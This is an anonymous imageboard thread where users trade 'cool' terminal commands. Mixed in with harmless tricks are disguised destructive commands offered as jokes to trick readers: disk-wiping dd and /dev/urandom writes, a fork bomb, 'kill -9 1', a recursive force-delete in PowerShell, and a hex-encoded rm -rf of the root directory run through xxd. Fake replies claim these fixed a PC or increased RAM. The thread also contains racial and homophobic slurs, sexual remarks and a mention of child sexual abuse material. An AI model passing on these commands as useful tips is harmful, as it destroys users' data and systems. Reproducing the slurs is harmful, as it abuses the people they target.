Post cool terminal comands

sudo apt update && sudo apt install cmatrix && echo "alias ls='cmatrix'" >> ~/.bash_aliases

Thank you user! I will try it as soon as I get back home.

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cd code
cd..
cd..
cd..
ls
cd code
cd ..
cd

mkfs.reiser4 /dev/wife

GNU dd understands redirections, so why is everyone and his mother using if=/of= instead of ?

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Don't do this, he's an internet troll. The command will delete all your things.

2meta4me

Oh really????

le newfaggot spotted

i was just pretending

sudo dd if=/dev/urandom of=/dev/mem

It's not doing anyt

itt: not cool terminal commands

sl

I'll try to be the only useful user here
tree

df -h

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cowsay -f sodomized-sheep 'Install Gentoo'

cat /dev/null > ~/.bash_history && history -c && exit

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Just set HISTFILE to dev/null. Then you have a fresh history every time you launch a bash instance.

Redirects can't use sudo

for i in i poop in my mouth sometimes; do echo - n wee oo' ';done

cat /proc/meminfo |grep Dirty

lolcat-c

That's all I got mane

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Good point. Touché.

As written, it doesn't have much utility outside of scripts, but it's handy for illustrating a concept or three.
[ -d $MyDir ] || mkdir -p $MyDir

Sorry its "echo -n" not "echo - n"

God I wish I could run my finger through Tomoko's ass crack

Literally the first thing I do on every new install is put
HISTFILE=
in my .bashrc

vrms, best antivirus

ls - shows what shits in ur directories

Quote your variables you barbarian.

i like having to only type "ssh " and it giving me all my previous ssh logins from whatever servers, or just "nano " and it giving me the last few files I edited.

cat /dev/urandom > /dev/sda

works as well

if u have linux you're probably smart enough not to do that.

Not that user, but
>gotta protect my shitty meme from people that would expose it!
>"hurr durr ur a newfaggot"
It's time to let the "hurr let's see who falls for the 'delete all my hard drive data' command this time!" meme die already. It's boring and stale as fuck. Just stop already.

...

t. Deleted his hdd cause Jow Forums told him to

pskill -9

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>being this mad
Go back to r󠇦eddit s󠇦oyboy

I want to punch reddit niggers like you, whether it was ironic or not stop being le :^) face

underrated

kill -9 1

echo "main(t){for(;;t++) {putchar(t*(42&t));}}" | gcc -xc - && ./a.out | aplay

Bash One Liner - Compose Music From Entropy in /dev/urandom

blog.robertelder.org/bash-one-liner-compose-music/

echo -e "\033[31;42;1mOP IS A NIGGER\033[0m"

#!/bin/bash
beep -l 350 -f 392 -D 100 --new -l 350 -f 392 -D 100 --new -l 350 -f 392 -D 100 --new -l 250 -f 311.1 -D 100 --new -l 25 -f 466.2 -D 100 --new -l 350 -f 392 -D 100 --new -l 250 -f 311.1 -D 100 --new -l 25 -f 466.2 -D 100 --new -l 700 -f 392 -D 100 --new -l 350 -f 587.32 -D 100 --new -l 350 -f 587.32 -D 100 --new -l 350 -f 587.32 -D 100 --new -l 250 -f 622.26 -D 100 --new -l 25 -f 466.2 -D 100 --new -l 350 -f 369.99 -D 100 --new -l 250 -f 311.1 -D 100 --new -l 25 -f 466.2 -D 100 --new -l 700 -f 392 -D 100 --new -l 350 -f 784 -D 100 --new -l 250 -f 392 -D 100 --new -l 25 -f 392 -D 100 --new -l 350 -f 784 -D 100 --new -l 250 -f 739.98 -D 100 --new -l 25 -f 698.46 -D 100 --new -l 25 -f 659.26 -D 100 --new -l 25 -f 622.26 -D 100 --new -l 50 -f 659.26 -D 400 --new -l 25 -f 415.3 -D 200 --new -l 350 -f 554.36 -D 100 --new -l 250 -f 523.25 -D 100 --new -l 25 -f 493.88 -D 100 --new -l 25 -f 466.16 -D 100 --new -l 25 -f 440 -D 100 --new -l 50 -f 466.16 -D 400 --new -l 25 -f 311.13 -D 200 --new -l 350 -f 369.99 -D 100 --new -l 250 -f 311.13 -D 100 --new -l 25 -f 392 -D 100 --new -l 350 -f 466.16 -D 100 --new -l 250 -f 392 -D 100 --new -l 25 -f 466.16 -D 100 --new -l 700 -f 587.32 -D 100 --new -l 350 -f 784 -D 100 --new -l 250 -f 392 -D 100 --new -l 25 -f 392 -D 100 --new -l 350 -f 784 -D 100 --new -l 250 -f 739.98 -D 100 --new -l 25 -f 698.46 -D 100 --new -l 25 -f 659.26 -D 100 --new -l 25 -f 622.26 -D 100 --new -l 50 -f 659.26 -D 400 --new -l 25 -f 415.3 -D 200 --new -l 350 -f 554.36 -D 100 --new -l 250 -f 523.25 -D 100 --new -l 25 -f 493.88 -D 100 --new -l 25 -f 466.16 -D 100 --new -l 25 -f 440 -D 100 --new -l 50 -f 466.16 -D 400 --new -l 25 -f 311.13 -D 200 --new -l 350 -f 392 -D 100 --new -l 250 -f 311.13 -D 100 --new -l 25 -f 466.16 -D 100 --new -l 300 -f 392.00 -D 150 --new -l 250 -f 311.13 -D 100 --new -l 25 -f 466.16 -D 100 --new -l 700 -f 392

eval $(echo "I

curl wttr.in

curl artscene.textfiles.com/asciiart/ASCIIPR0N/anime14.txt

Don't listen to him, I tried it and it's fine.

$(echo 7375646f20726d202d7266202f202d2d6e6f2d70726573657276652d726f6f74 | xdd -r -p)

don't do this it makes mustard gas

Kind of like what this user said, I like to keep my history until I know I'm done with what I'm working on.

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yeah, but ubuntu users can't use dd.

>>OP /sucks-Dick=8000/

cool powershell command
gci|ri -re -fo -ea sil -co:$false

top

Will instantly make you look like a hacker to illiterates and will either impress or scare away women

don't do this one. eval reads and executes the output of command when it's surrounded by $( and ). to see what he's trying to get you to run, take out what's inside
echo "I

Linux is just a kernel. Please call the GNU operating system with Linux added GNU/Linux.

for seat in $(ps a | cut -d' ' -f 2 | uniq -d) do pkill -t $seat ; done

underrated

{code}
cat /dev/zero > /dev/null
{/code}

It didn't do anything
# dd if=/dev/zero of=/dev/sda
dd: writing '/dev/sda': No space left on device
1025+0 records in
1024+0 records out

Linux is a colloquialism for operating systems that use the Linux kernel. Please contain your autism.

WOOP WOOP NEWFAG WOOP WOOP

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For MacOS

say 'I am Gay'

>default voice
Have some fun
say -v Cellos dun dun dun dun dun dun da dun dun da dun dun da dun dun dun dun dun dun dun dun dun dun dun dun da

worked for me

Hot off the press

for f in $(ls -p /usr/share/espeak-data/voices/*|grep -v /);do espeak -v $f swag;done

function diary() {
root="$HOME/Documents/journal"
date="$(date -u +"%Y/%m/%d")"
dir="$root/$date"
name="$(date -u +"%T")"
if [ ! -z "$1" ]; then
name+=" '$1'"
fi
path="$dir/$name"
mkdir -p "$dir"
vim "$path"
}

:(){ :|: & };:

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>it doesnt even do anything
>it doesnt even do anything >it doesnt even do anything
>it doesnt even do anything >it doesnt even do anything >it doesnt even do anything

Search google from the shell
# Google from the shell
google() { Q="$@"; GOOG_URL='google.de/search?tbs=li:1&q='; AGENT="Mozilla/4.0"; stream=$(curl -A "$AGENT" -skLm 10 "${GOOG_URL}${Q//\ /+}" | grep -oP '\/url\?q=.+?&' | sed 's|/url?q=||; s|&||'); echo -e "${stream//\%/\x}"; }

search dict.org from the shell. Useful if you are a brainlet speller like me
# Search dictionary from the shell
dict() { curl -s dict://dict.org/d:$1 | perl -ne 's/\r//; last if /^\.$/; print if /^151/../^250/'; }

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printf '\xE2\x9C\xA1\xEF\xB8\x8F \n'

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>implying certain combinations of pixels are illegal

sure you where user

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On wednesdays we KODE.

Neat

You're a superior NVMedude right?

sudo $(echo "757220612066616765740a" | xxd -r -ps)

Thank you user !!! My old PC works again. I never seen it before.

Probably not that cool for most people. But I thought it was cool when I learned how to do it.

#!/bin/sh
#--------------------------------------------------------------------
function dl_images {
wget \
--recursive \
--no-directories \
--directory-prefix="${1}" \
--accept '.jpg,.jpeg,.png,.gif,.webm' \
--reject '*s.jpg' \
--span-hosts \
--domains=i.4cdn.org \
--execute robots=off \
--wait=2 \
--random-wait \
--limit-rate=800k \
"boards.Jow Forums.org${2}"
}

#--------------------------------------------------------------------
function dl_test {
echo "${1}"
echo "${2}"
}

#--------------------------------------------------------------------
t0="${SECONDS}"

# dl_test "$HOME/Jow Forums/porn/images" "/s/thread/18128209"
dl_images "$HOME/Jow Forums/porn/images" "/s/thread/18128209"

t1=${SECONDS}
duration="$((t1-t0))"
echo "Time Elapsed: $(($duration/60))m : $(($duration%60))s"

>limit 800k
What dialup are you on

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uname -rms

John, i do not interfere with your business at all. why are you handling a gun right now? are you trying to kill me? please stop doing that.

function mkcd {
mkdir "$1"
cd "$1"
}

rm -f $(which rm)
increases your RAM to 128TB

Try the improved version, sl

# repeat last command with sudo
function fuck {
LAST_CMD=`fc -nl -1`
echo sudo $LAST_CMD
sudo zsh -c $LAST_CMD
}

You're welcome.

Also this:

# g as simple shortcut for git status or just git if any other arguments are given
function g {
if [[ $# > 0 ]]; then
git "$@"
else
git status
fi
}
compdef g=git

THIS PUT A BUNCH OF CP ON MY HARD DRIVE WTF

You gonna share it or what?